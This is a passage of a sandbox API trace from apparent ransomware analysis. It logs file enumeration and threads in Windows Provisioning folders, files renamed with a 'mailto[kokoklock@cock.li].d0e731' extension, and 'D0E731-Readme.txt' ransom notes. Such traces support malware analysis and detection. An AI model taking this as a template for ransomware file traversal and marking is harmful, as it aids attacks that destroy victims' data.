ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.521] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.521] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.521] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305d098 [0175.521] wcscpy (in: _Dest=0x305d098, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov" [0175.521] wcscat (in: _Dest=0x305d098, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\" [0175.521] wcscat (in: _Dest=0x305d098, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.521] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305d098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0175.522] FindNextFileW (in: hFindFile=0x30453e8, lpFindFileData=0x3021178 | out: lpFindFileData=0x3021178*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fc7d5e, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fc7d5e, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bb1f6d5, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.522] FindClose (in: hFindFile=0x30453e8 | out: hFindFile=0x30453e8) returned 1 [0175.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021178) returned 1 [0175.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f837f0) returned 1 [0175.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055588) returned 1 [0175.522] RtlExitUserThread (Status=0x0) Thread: id = 2347 os_tid = 0xf0c [0174.990] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.991] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.991] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.991] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.991] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8fe98) returned 1 [0174.991] RtlExitUserThread (Status=0x0) Thread: id = 2348 os_tid = 0xf10 [0174.992] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.993] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.993] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.993] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.994] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d2c8) returned 1 [0174.994] RtlExitUserThread (Status=0x0) Thread: id = 2349 os_tid = 0xf14 [0174.995] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f838a8 [0174.995] wcscpy (in: _Dest=0x2f838a8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" [0174.995] wcscat (in: _Dest=0x2f838a8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\" [0174.995] wcscat (in: _Dest=0x2f838a8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\*" [0174.995] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30213e0 [0174.995] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\*", lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bb458b8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb458b8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045428 [0174.995] wcscmp (_String1=".", _String2=".") returned 0 [0174.995] FindNextFileW (in: hFindFile=0x3045428, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bb458b8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb458b8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.995] wcscmp (_String1="..", _String2=".") returned 1 [0174.995] wcscmp (_String1="..", _String2="..") returned 0 [0174.995] FindNextFileW (in: hFindFile=0x3045428, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb458b8, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bb458b8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb458b8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0174.995] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0174.995] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0174.995] FindNextFileW (in: hFindFile=0x3045428, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1854d2, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cc8e7d8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cc8e7d8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0174.995] wcscmp (_String1="RunTime", _String2=".") returned 1 [0174.995] wcscmp (_String1="RunTime", _String2="..") returned 1 [0174.996] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0ac88 [0174.996] wcscpy (in: _Dest=0x4f0ac88, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" [0174.996] wcscat (in: _Dest=0x4f0ac88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\" [0174.996] wcscat (in: _Dest=0x4f0ac88, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime" [0175.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0ac88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0175.518] FindNextFileW (in: hFindFile=0x3045428, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bb458b8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.518] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.518] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.518] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305cf80 [0175.518] wcscpy (in: _Dest=0x305cf80, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov" [0175.518] wcscat (in: _Dest=0x305cf80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\" [0175.518] wcscat (in: _Dest=0x305cf80, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{8d196d7f-3eef-48ad-8bea-be749f12d3ad}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305cf80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0175.519] FindNextFileW (in: hFindFile=0x3045428, lpFindFileData=0x30213e0 | out: lpFindFileData=0x30213e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53ef390d, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53ef390d, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bb458b8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.519] FindClose (in: hFindFile=0x3045428 | out: hFindFile=0x3045428) returned 1 [0175.519] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30213e0) returned 1 [0175.519] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f838a8) returned 1 [0175.519] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055640) returned 1 [0175.519] RtlExitUserThread (Status=0x0) Thread: id = 2350 os_tid = 0xf18 [0174.996] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.999] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.999] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0174.999] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.000] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8fd80) returned 1 [0175.000] RtlExitUserThread (Status=0x0) Thread: id = 2351 os_tid = 0xf1c [0175.001] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.001] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.001] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\masterdatastore.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.001] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\MasterDatastore.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.001] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x305d3e0) returned 1 [0175.001] RtlExitUserThread (Status=0x0) Thread: id = 2352 os_tid = 0xf20 [0175.002] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb0) returned 0x2f83960 [0175.002] wcscpy (in: _Dest=0x2f83960, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" [0175.002] wcscat (in: _Dest=0x2f83960, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\" [0175.002] wcscat (in: _Dest=0x2f83960, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\*") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\*" [0175.002] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3021648 [0175.003] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\*", lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bb6bbaa, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb6bbaa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045468 [0175.003] wcscmp (_String1=".", _String2=".") returned 0 [0175.003] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8bb6bbaa, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb6bbaa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.003] wcscmp (_String1="..", _String2=".") returned 1 [0175.004] wcscmp (_String1="..", _String2="..") returned 0 [0175.004] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb91dab, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8bb91dab, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8bb91dab, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x481, dwReserved0=0x0, dwReserved1=0x0, cFileName="D0E731-Readme.txt", cAlternateFileName="D0E731~1.TXT")) returned 1 [0175.004] wcscmp (_String1="D0E731-Readme.txt", _String2=".") returned 1 [0175.004] wcscmp (_String1="D0E731-Readme.txt", _String2="..") returned 1 [0175.004] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1d195e, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x8cc6857e, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8cc6857e, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0175.004] wcscmp (_String1="RunTime", _String2=".") returned 1 [0175.004] wcscmp (_String1="RunTime", _String2="..") returned 1 [0175.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xbc) returned 0x4f0ae18 [0175.004] wcscpy (in: _Dest=0x4f0ae18, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" [0175.004] wcscat (in: _Dest=0x4f0ae18, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\" [0175.004] wcscat (in: _Dest=0x4f0ae18, _Source="RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime" [0175.515] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c502b0, lpParameter=0x4f0ae18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0175.515] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bb6bbaa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 1 [0175.515] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2=".") returned 1 [0175.515] wcscmp (_String1="RunTime.xml.mailto[kokoklock@cock.li].d0e731", _String2="..") returned 1 [0175.515] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x106) returned 0x305cd50 [0175.515] wcscpy (in: _Dest=0x305cd50, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov" [0175.515] wcscat (in: _Dest=0x305cd50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\" [0175.515] wcscat (in: _Dest=0x305cd50, _Source="RunTime.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{7a30a9be-737f-47a1-a541-6e7b0761ed19}\\Prov\\RunTime.xml.mailto[kokoklock@cock.li].d0e731" [0175.516] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x305cd50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0175.516] FindNextFileW (in: hFindFile=0x3045468, lpFindFileData=0x3021648 | out: lpFindFileData=0x3021648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f66853, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f66853, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x8bb6bbaa, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x2ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml.mailto[kokoklock@cock.li].d0e731", cAlternateFileName="")) returned 0 [0175.516] FindClose (in: hFindFile=0x3045468 | out: hFindFile=0x3045468) returned 1 [0175.516] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3021648) returned 1 [0175.516] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f83960) returned 1 [0175.516] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30556f8) returned 1 [0175.516] RtlExitUserThread (Status=0x0) Thread: id = 2353 os_tid = 0xf24 [0175.005] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.006] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{3742e5e8-6d9d-473b-99a6-8ecc0f43548a}\\customizations.xml.mailto[kokoklock@cock.li].d0e731", 